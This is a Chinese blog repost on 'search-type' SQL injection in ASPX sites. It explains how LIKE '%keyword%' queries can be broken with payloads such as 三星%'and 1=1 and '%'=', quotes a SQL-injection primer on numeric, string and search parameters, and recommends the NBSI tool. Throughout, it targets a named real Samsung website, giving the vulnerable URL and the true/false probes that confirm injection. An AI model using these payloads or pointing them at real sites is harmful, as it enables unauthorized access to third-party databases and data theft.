欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

ASPX搜索型注入

程序员文章站 2022-11-10 08:03:44
樱木花盗's BLOG 今天看到有个关于搜索型注入的文章,用到的是一种新技术,探测的是三星:http://notebook.samsung.com.cn/index.aspx 注入方式是: 一般网站... 08-10-08...
樱木花盗's blog

今天看到有个关于搜索型注入的文章,用到的是一种新技术,探测的是三星:http://notebook.samsung.com.cn/index.aspx

注入方式是:

一般网站的搜索都是部分匹配的
有漏洞的url是http://notebook.samsung.com.cn/news/news.aspx& ... t&st=title&sc=
构造注入语句 三星%’and 1=1 and ’%’=’
三星%’and 1=2 and ’%’=’

大家看到了吧 两个返回页面是不一样的 说明有注入的漏洞 特征字 写 笔记本 就是三星%’and 1=1 and ’%’=’ 返回时有的


我们知道一般搜索代码是这么写的:

select * from 表名 where 字段 like ’%关键字%’

这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)

这里如果关键字没有过滤的话,就可以这样来构造:

关键字=’ and [查询条件] and ‘%’=’

这样查询就变成

select * from 表名 where 字段 like ’%’ and 1=1 and ’%’=’%’

这样就很好的构成了一个sql注入点,当然用手工也可以,用nbsi也可以~~

注入是不分家的,没必要什么型什么型的!~

如果不信,大家请看下面的《sql注入天书》的原话

第一节、sql注入的一般步骤

首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。

其次,根据注入参数类型,在脑海中重构sql语句的原貌,按参数类型主要分为下面三种:

(a) id=49 这类注入的参数是数字型,sql语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为id=49 and [查询条件],即是生成语句:
select * from 表名 where 字段=49 and [查询条件]


(b) class=连续剧 这类注入的参数是字符型,sql语句原貌大致概如下:
select * from 表名 where 字段=’连续剧’
注入的参数为class=连续剧’ and [查询条件] and ‘’=’ ,即是生成语句:
select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’

(c) 搜索时没过滤参数的,如keyword=关键字,sql语句原貌大致如下:
select * from 表名 where 字段like ’%关键字%’
注入的参数为keyword=’ and [查询条件] and ‘%’=’, 即是生成语句:
select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’


当然手工是麻烦的

用工具的话,我建议用nbsi的工具比较好,就我感觉只有nbsi结合了这个技术,用别的软体是不能注入的

注入点只要写:

http://notebook.samsung.com.cn/news/news.aspx?& ... &st=title&sc=%

再加个特征字符就可以了